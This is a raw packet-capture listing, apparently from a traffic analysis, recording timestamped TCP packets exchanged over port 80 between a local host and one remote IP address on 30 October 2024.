Oct 30, 2024 12:36:34.149034977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149046898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149059057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149061918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149080038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149092913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149101019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149111032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149111032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149161100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149171114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149182081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149235964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149247885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149256945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149260998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149274111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149286032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149301052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149307966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149324894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149585962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149631023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149643898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.149656057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.149677038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.152820110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153430939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153498888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153511047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153604031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153614998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153624058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153635025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153655052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153665066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153677940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153690100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153690100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153704882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153712988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153753042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153764963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153774023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153778076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153790951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.153839111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.153839111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.369165897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.369609118 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.592853069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598341942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598386049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598403931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598433018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598457098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598459959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598478079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598498106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598521948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598587990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598603010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598618984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598643064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598659039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598676920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598684072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598701000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598717928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598726988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598738909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598743916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598927975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598934889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.598944902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598962069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598975897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.598993063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599014044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599016905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599034071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599037886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599054098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599059105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599277973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599292994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599311113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599327087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599344969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599349976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599360943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599381924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599389076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599397898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599416018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599421024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599435091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599450111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599468946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599478006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599486113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599503040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599519968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599523067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599540949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599606037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599734068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599751949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599767923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599786043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599791050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599803925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599822044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599831104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599838972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599864960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599865913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599883080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599898100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599915028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599931955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599937916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.599950075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599967003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.599975109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600111961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600131035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600146055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600159883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600178003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600183964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600195885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600213051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600219965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600229979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600248098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600255966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600266933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600286007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600289106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600497961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600513935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600524902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600531101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600549936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600554943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600567102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600583076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600600958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600606918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600620985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600626945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600639105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600655079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600678921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600683928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600707054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600878954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600893974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600908995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600923061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600938082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600955009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600965977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.600971937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600990057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.600994110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601006985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601025105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601033926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601042986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601058006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601080894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601085901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601596117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601610899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601625919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601639986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601658106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601661921 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601677895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601685047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601695061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601712942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601717949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601737022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601751089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601766109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601788044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601788044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601790905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601816893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601833105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601850986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601859093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601869106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601876020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601886034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601907969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601910114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.601926088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601941109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601955891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601973057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601990938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.601996899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602006912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602025986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602027893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602044106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602047920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602061033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602077007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602567911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602583885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602598906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602616072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602622032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602632999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602652073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602658033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602658033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602677107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602694988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602701902 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602720022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602736950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602741957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602755070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602771997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602787018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602802992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602823019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602828979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602843046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602844000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602859974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602874994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602890968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602907896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602926970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602931976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602969885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.602978945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.602988005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603005886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603010893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603308916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603338003 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603365898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603383064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603486061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603502989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603508949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603528023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603543997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603562117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603566885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603679895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603697062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603703976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603713989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603732109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603737116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603749037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603765011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603781939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603785992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603799105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603817940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.603823900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603837967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.603907108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604031086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604047060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604063988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604069948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604082108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604099989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604104042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604116917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604134083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604145050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604154110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604166031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604182005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604197025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604418039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604440928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604475021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604490995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604523897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604540110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604553938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604557037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604576111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604593039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604643106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604643106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604686022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604701042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604716063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604733944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604741096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604752064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604769945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604773998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604809999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604825020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604849100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604938030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604963064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604970932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.604980946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.604999065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605004072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.605022907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605041027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605046988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.605058908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605076075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605081081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.605374098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605398893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605407953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.605416059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.605484962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.605576992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.608982086 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.609647036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609678030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609695911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609724998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609745979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.609787941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609810114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609813929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:34.609831095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609850883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:34.609875917 CET	49744	80	192.168.2.4	185.215.113.16
